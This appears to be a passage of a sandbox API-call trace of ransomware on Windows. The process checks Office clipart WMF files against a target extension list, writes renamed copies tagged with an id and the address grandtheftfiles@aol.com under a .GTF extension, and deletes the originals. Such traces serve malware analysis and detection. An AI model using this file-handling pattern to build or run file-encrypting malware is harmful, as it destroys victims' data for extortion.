	[0171.065] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.065] lstrlenW (lpString=".ppt") returned 4
	[0171.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.065] lstrlenW (lpString=".zip") returned 4
	[0171.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.065] lstrlenW (lpString=".rar") returned 4
	[0171.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString=".bz2") returned 4
	[0171.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString=".7z") returned 3
	[0171.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.065] lstrlenW (lpString=".dbf") returned 4
	[0171.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.065] lstrlenW (lpString=".1cd") returned 4
	[0171.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0171.065] lstrlenW (lpString=".jpg") returned 4
	[0171.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.065] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.066] lstrlenW (lpString="J0107544.WMF") returned 12
	[0171.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.068] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=26768) returned 1
	[0171.068] CloseHandle (hObject=0x45c) returned 1
	[0171.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220
	[0171.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.068] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.068] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.069] GetLastError () returned 0x0
	[0171.069] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x6890, lpOverlapped=0x0) returned 1
	[0171.080] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x68a0, lpOverlapped=0x0) returned 1
	[0171.082] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.082] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.082] SetEndOfFile (hFile=0x55c) returned 1
	[0171.082] CloseHandle (hObject=0x55c) returned 1
	[0171.082] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.082] SetEndOfFile (hFile=0x45c) returned 1
	[0171.086] CloseHandle (hObject=0x45c) returned 1
	[0171.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1
	[0171.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.087] lstrlenW (lpString=".doc") returned 4
	[0171.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.087] lstrlenW (lpString=".docx") returned 5
	[0171.087] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.087] lstrlenW (lpString=".pdf") returned 4
	[0171.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.087] lstrlenW (lpString=".xls") returned 4
	[0171.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.087] lstrlenW (lpString=".xlsx") returned 5
	[0171.088] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.088] lstrlenW (lpString=".ppt") returned 4
	[0171.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.088] lstrlenW (lpString=".zip") returned 4
	[0171.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.088] lstrlenW (lpString=".rar") returned 4
	[0171.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString=".bz2") returned 4
	[0171.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString=".7z") returned 3
	[0171.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.088] lstrlenW (lpString=".dbf") returned 4
	[0171.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.088] lstrlenW (lpString=".1cd") returned 4
	[0171.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.088] lstrlenW (lpString=".jpg") returned 4
	[0171.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.088] lstrlenW (lpString=".doc") returned 4
	[0171.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.088] lstrlenW (lpString=".docx") returned 5
	[0171.088] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.088] lstrlenW (lpString=".pdf") returned 4
	[0171.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.181] lstrlenW (lpString=".xls") returned 4
	[0171.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.181] lstrlenW (lpString=".xlsx") returned 5
	[0171.181] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.181] lstrlenW (lpString=".ppt") returned 4
	[0171.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.181] lstrlenW (lpString=".zip") returned 4
	[0171.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.181] lstrlenW (lpString=".rar") returned 4
	[0171.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.181] lstrlenW (lpString=".bz2") returned 4
	[0171.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.181] lstrlenW (lpString=".7z") returned 3
	[0171.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.181] lstrlenW (lpString=".dbf") returned 4
	[0171.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.181] lstrlenW (lpString=".1cd") returned 4
	[0171.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68
	[0171.181] lstrlenW (lpString=".jpg") returned 4
	[0171.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.181] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.181] lstrlenW (lpString="J0107712.WMF") returned 12
	[0171.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0171.397] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4636) returned 1
	[0171.397] CloseHandle (hObject=0x550) returned 1
	[0171.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220
	[0171.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.701] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.701] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.702] GetLastError () returned 0x0
	[0171.702] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x121c, lpOverlapped=0x0) returned 1
	[0171.704] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0171.705] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.705] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.706] SetEndOfFile (hFile=0x55c) returned 1
	[0171.706] CloseHandle (hObject=0x55c) returned 1
	[0171.706] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.706] SetEndOfFile (hFile=0x45c) returned 1
	[0171.709] CloseHandle (hObject=0x45c) returned 1
	[0171.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1
	[0171.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.711] lstrlenW (lpString=".doc") returned 4
	[0171.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.711] lstrlenW (lpString=".docx") returned 5
	[0171.711] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.711] lstrlenW (lpString=".pdf") returned 4
	[0171.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.711] lstrlenW (lpString=".xls") returned 4
	[0171.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.711] lstrlenW (lpString=".xlsx") returned 5
	[0171.712] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.712] lstrlenW (lpString=".ppt") returned 4
	[0171.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.712] lstrlenW (lpString=".zip") returned 4
	[0171.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.712] lstrlenW (lpString=".rar") returned 4
	[0171.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString=".bz2") returned 4
	[0171.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString=".7z") returned 3
	[0171.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.712] lstrlenW (lpString=".dbf") returned 4
	[0171.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.712] lstrlenW (lpString=".1cd") returned 4
	[0171.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.712] lstrlenW (lpString=".jpg") returned 4
	[0171.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.712] lstrlenW (lpString=".doc") returned 4
	[0171.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString=".docx") returned 5
	[0171.712] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.712] lstrlenW (lpString=".pdf") returned 4
	[0171.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.712] lstrlenW (lpString=".xls") returned 4
	[0171.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.713] lstrlenW (lpString=".xlsx") returned 5
	[0171.713] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.713] lstrlenW (lpString=".ppt") returned 4
	[0171.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.713] lstrlenW (lpString=".zip") returned 4
	[0171.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.713] lstrlenW (lpString=".rar") returned 4
	[0171.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.713] lstrlenW (lpString=".bz2") returned 4
	[0171.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.713] lstrlenW (lpString=".7z") returned 3
	[0171.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.713] lstrlenW (lpString=".dbf") returned 4
	[0171.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.713] lstrlenW (lpString=".1cd") returned 4
	[0171.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0171.713] lstrlenW (lpString=".jpg") returned 4
	[0171.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.713] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.713] lstrlenW (lpString="J0107724.WMF") returned 12
	[0171.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.715] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7016) returned 1
	[0171.715] CloseHandle (hObject=0x45c) returned 1
	[0171.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220
	[0171.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0171.715] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.715] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0171.716] GetLastError () returned 0x0
	[0171.716] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1b68, lpOverlapped=0x0) returned 1
	[0171.718] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0171.720] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.720] WriteFile (in: hFile=0x55c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.720] SetEndOfFile (hFile=0x55c) returned 1
	[0171.720] CloseHandle (hObject=0x55c) returned 1
	[0171.720] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.720] SetEndOfFile (hFile=0x45c) returned 1
	[0171.723] CloseHandle (hObject=0x45c) returned 1
	[0171.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1
	[0171.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.724] lstrlenW (lpString=".doc") returned 4
	[0171.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString=".docx") returned 5
	[0171.725] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.725] lstrlenW (lpString=".pdf") returned 4
	[0171.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString=".xls") returned 4
	[0171.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.725] lstrlenW (lpString=".xlsx") returned 5
	[0171.725] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.725] lstrlenW (lpString=".ppt") returned 4
	[0171.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.725] lstrlenW (lpString=".zip") returned 4
	[0171.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.725] lstrlenW (lpString=".rar") returned 4
	[0171.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString=".bz2") returned 4
	[0171.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString=".7z") returned 3
	[0171.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.725] lstrlenW (lpString=".dbf") returned 4
	[0171.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.725] lstrlenW (lpString=".1cd") returned 4
	[0171.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.725] lstrlenW (lpString=".jpg") returned 4
	[0171.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0171.726] lstrlenW (lpString=".doc") returned 4
	[0171.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.728] lstrlenW (lpString=".docx") returned 5
	[0171.728] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.728] lstrlenW (lpString=".pdf") returned 4
	[0171.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.728] lstrlenW (lpString=".xls") returned 4
	[0171.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.729] lstrlenW (lpString=".xlsx") returned 5
